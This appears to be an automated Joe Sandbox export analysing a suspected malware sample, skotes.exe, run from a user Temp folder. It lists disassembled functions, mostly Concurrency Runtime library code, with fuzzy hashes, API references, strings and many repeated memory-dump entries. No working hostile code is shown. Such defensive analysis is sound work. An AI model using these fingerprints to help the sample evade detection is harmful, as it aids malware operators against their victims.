Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: ListSpinWait$AcquireAliasBase::ClearConcurrency::details::Concurrency::details::_ContextLock::_ReaderTableWriteWriter
String ID:
API String ID: 3281396844-0
Opcode ID: 2846fdf351849a18000274e6eae12af8c4c5b2d8b1e4b8dda1f04189e995738d
Instruction ID: fc4b42732232d1c074646ed3e7562d61c30bdce509a23458641fe5b25c56579c
Opcode Fuzzy Hash: 2846fdf351849a18000274e6eae12af8c4c5b2d8b1e4b8dda1f04189e995738d
Instruction Fuzzy Hash: 27318632905256DFCB64EFA4D5816EDBBB2BF04318F28406ED40167692CB31AD84CBA8

Function 0062182A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 006218A4
Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 006218EB

Strings

pContext, xrefs: 0062189C

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: 729face1735e7159622416999fae9c9e79876a0775f7457abd631f1d455d5c26
Instruction ID: 9dc8df65fd53bf1ed9441afe345fcedb03ecacc12c93fc4989aac7b6d19d8307
Opcode Fuzzy Hash: 729face1735e7159622416999fae9c9e79876a0775f7457abd631f1d455d5c26
Instruction Fuzzy Hash: 11214C35B04A359BCB14AB64E8D1AFD73A7BFA2334B04011AE5018B3D1CBB8EC41CE84

Function 0062DFE3 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 85COMMON

Download Yara Rule

Strings

6b, xrefs: 0062E034
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, xrefs: 0062DFE8

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: 6b$C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
API String ID: 0-4257976490
Opcode ID: eccd97f90b96326367d28ab617aab3ba8d065e118adf417f2e752d92a91e8908
Instruction ID: 56c0050c53052ce1df1ef3c874cb601d872da28bb4491bf79b27919591b0a796
Opcode Fuzzy Hash: eccd97f90b96326367d28ab617aab3ba8d065e118adf417f2e752d92a91e8908
Instruction Fuzzy Hash: C121D771604A297FDB70AE65BC80EAB739FEF113647104528F92497341EB72EC518F61

Function 0061AE65 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

List.LIBCONCRT ref: 0061AEEA
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0061AF0F
Concurrency::details::FreeVirtualProcessorRoot::FreeVirtualProcessorRoot.LIBCONCRT ref: 0061AF4E

Strings

pExecutionResource, xrefs: 0061AF07

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: FreeProcessorVirtual$Concurrency::details::ListRootRoot::std::invalid_argument::invalid_argument
String ID: pExecutionResource
API String ID: 1772865662-359481074
Opcode ID: e2c475daf0af9f4085cc4813fdbb8aee624330328019633b9af9928516efa389
Instruction ID: adf4f6fa44e6bc6924517afee9d4858802c7864d840d3df2ef3de27cb90c8796
Opcode Fuzzy Hash: e2c475daf0af9f4085cc4813fdbb8aee624330328019633b9af9928516efa389
Instruction Fuzzy Hash: BB21D5756812059BCB48EF94C842AEEB7A7BF48300F14412DE505AB382DBB0AE45CB99

Function 00614EA2 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00614F24
Concurrency::details::CacheLocalScheduleGroupSegment::CacheLocalScheduleGroupSegment.LIBCONCRT ref: 00614F66

Strings

count, xrefs: 00614EBA
ppVirtualProcessorRoots, xrefs: 00614F1C

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: CacheGroupLocalSchedule$Concurrency::details::SegmentSegment::std::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 2663199487-3650809737
Opcode ID: a7708ac2ebe0370c17b350b4aa5244d346c7f1756fe6d7aabd1c6d9f2013b282
Instruction ID: 25fca382e81d17493f3baa57a996a5b70241ba85e76461e56bd8d1f84a8ea964
Opcode Fuzzy Hash: a7708ac2ebe0370c17b350b4aa5244d346c7f1756fe6d7aabd1c6d9f2013b282
Instruction Fuzzy Hash: 8821BD34600615AFCB08EFA8C891EAE77B6BF48310F04416DE5069B691DF71AA42CB55

Function 0061B975 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 64COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0061BA0E

Strings

RoUninitialize, xrefs: 0061B9C1
RoInitialize, xrefs: 0061B998
combase.dll, xrefs: 0061B983, 0061B988, 0061B99D, 0061B9C8

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: RoInitialize$RoUninitialize$combase.dll
API String ID: 348560076-3997890769
Opcode ID: ec30e1065bc7461103727974431a42bda7631270c8ae1ca2b6c41b5716fc210b
Instruction ID: f8db2a3a1e91f59f5770fd7b6c21f38d97d9ee454beb18e5b7863f60be33378e
Opcode Fuzzy Hash: ec30e1065bc7461103727974431a42bda7631270c8ae1ca2b6c41b5716fc210b
Instruction Fuzzy Hash: 6F012870A827255EDB14FB714C2DBEB359F9F02345F243829B550E7280EF79D4804AA9

Function 00616E1C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

SafeRWList.LIBCONCRT ref: 00616E73

Part of subcall function 00614E6E: Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00614E7F
Part of subcall function 00614E6E: List.LIBCMT ref: 00614E89

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00616E85
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00616EAA

Strings

eventObject, xrefs: 00616E7D

